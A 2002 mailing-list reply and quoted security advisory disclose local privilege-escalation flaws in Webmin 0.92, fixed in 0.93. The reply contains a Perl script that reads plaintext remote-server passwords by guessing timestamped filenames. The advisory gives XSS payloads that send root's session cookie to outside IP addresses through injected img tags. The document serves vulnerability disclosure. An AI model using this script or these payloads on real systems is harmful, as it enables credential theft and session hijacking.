Re: Local privalege escalation issues with Webmin 0.92

[Ed <ekg () tricity wsu edu>]

as a small addendum to this advisory, we noticed some similar file permission
problems in /etc/webmin/servers/, in our local webmin installation.
we were using webmin-0.92-1, noarch RPM version.  this problem was reported
to Jamie last month and is fixed in webmin 0.93.

this problem could allow a local user to read the webmin user passwords
for remote hosts running webmin, configured under the  'webmin' >> 'webmin
servers' >> 'edit server' page.  this is a problem only if we enter the
login information for a server, so as to enable auto-login, and thus,
could lead to 'root' or 'admin' access (on the remote webmin server)
if we are using the cluster users, groups, or packages feature of webmin.

the username and password are stored, in plaintext, with the rest of the
host information in /etc/webmin/servers/${time}.serv, where ${time} is
the time that the remote server was first discovered by the local webmin,
measured as a number of seconds since the epoch.  /etc/webmin/servers has
the search bit enabled, but not the read bit.  therefore we can read
the server information files by searching backwards from the current
time, e.g.:

#!/usr/bin/perl
#read server info files by stepping backwards from current time
print STDERR "looking for server info from /etc/webmin/servers, press ^c to end\n";
for ($tstamp= time(); $tstamp > 0; $tstamp--) {
  open (SERVINFO, "</etc/webmin/servers/$tstamp.serv") or next;
  print "contents of /etc/webmin/servers/$tstamp.serv:\n";
  print <SERVINFO>;
  close SERVINFO or die "error detected on file close";
}

moral: if you were running a vulnerable version of webmin, it may be
prudent to change all your passwords after you upgrade, as they may have
been exposed.  also i might double-check that these files are not 
readable, on all of your webmin servers.

thanks to Jamie for making such a great web administration package for
unix, and keeping on top of security problems/reports.

  Ed

advisory () prophecy net nz [Thu, Mar 21, 2002 at 10:01:21AM +1200]
> 18-02-02 -- advisory () prophecy net nz
>
>
> About Webmin:
> -------------
> "Webmin is a web-based interface for system administration for Unix. Using
> any browser that supports tables and forms (and Java for the File Manager
> module), you can setup user accounts, Apache, DNS, file sharing and so
> on."
>
>
>
> Problem #1:
> -----------
> Version 0.92-1 of Webmin (when installed by rpm) leaves insecure
> permissions on the /var/webmin directory.
> This means that if command logging within webmin is enabled, any local
> user
> can read the /var/webmin/webmin.log file and retrieve the root users
> sid (cookie session id).
> It is trivial to then create a faked local cookie using this session-id,
> and log directly into webmin as root.
>
>
> Problem #2:
> -----------
> If a semi-trusted colleague is given a restricted level of
> access to some Webmin functions, specifically sendmail, then
> malicious code can be inserted into certain files
> that would result in revealing roots webmin sid (cookie session id)
> when the root user visits the related page in webmin.
>
>
> Example Exploit:
> ----------------
> Insert the following line into the virtusers file, and wait for the root
> user to visit that page:
> </tt></a></td><tt><td><script>/* */document.write('<img
> src="http://192.168.40.1/'+document.cookie+'";>');</script>
>
> Or the following into the /etc/aliases file:
> </a></td><td><tt><script>zz=unescape("%20");document.write('<img'/*:
> */+zz+'src="http://10.1.1.33/'+document.cookie+'";>');</script>
>
> Potentially more likely to be exploited however, would be a malicious
> local user who has _no_ access to webmin, who could change a file that
> webmin views through the HTML
> interface (where the code being read in is not checked for HTML).  An
> example would be changing their
> 'real name' in /etc/passwd to be something along the lines of:
> <script>zz=unescape("%3A");document.write('<img
> src="http'+zz+'//10.1.1.33/'+document.cookie+'">');</script>
> (Although chfn doesn't let you specify a username this long, but you get
> the idea.)
>
> This same problem exists in pretty much most parts of webmin, where files
> (or command output like 'ps') is
> read in and displayed in the web interface.
>
>
>
> Solution:
> ---------
> Upgrade to the latest version of Webmin (0.93), which fixes these issues
> (as well as a couple of others apparently).
> Available from:  http://www.webmin.com/download.html
>
>
> Thanks to:
> ----------
> Harry Metcalfe <harrym () the-group org> - for giving me the original idea
> about ways to steal cookies from webpages.
> Jamie Cameron <jcameron () webmin com> - for listening to me and making an
> effort to keep in touch as he fixed the problem(s).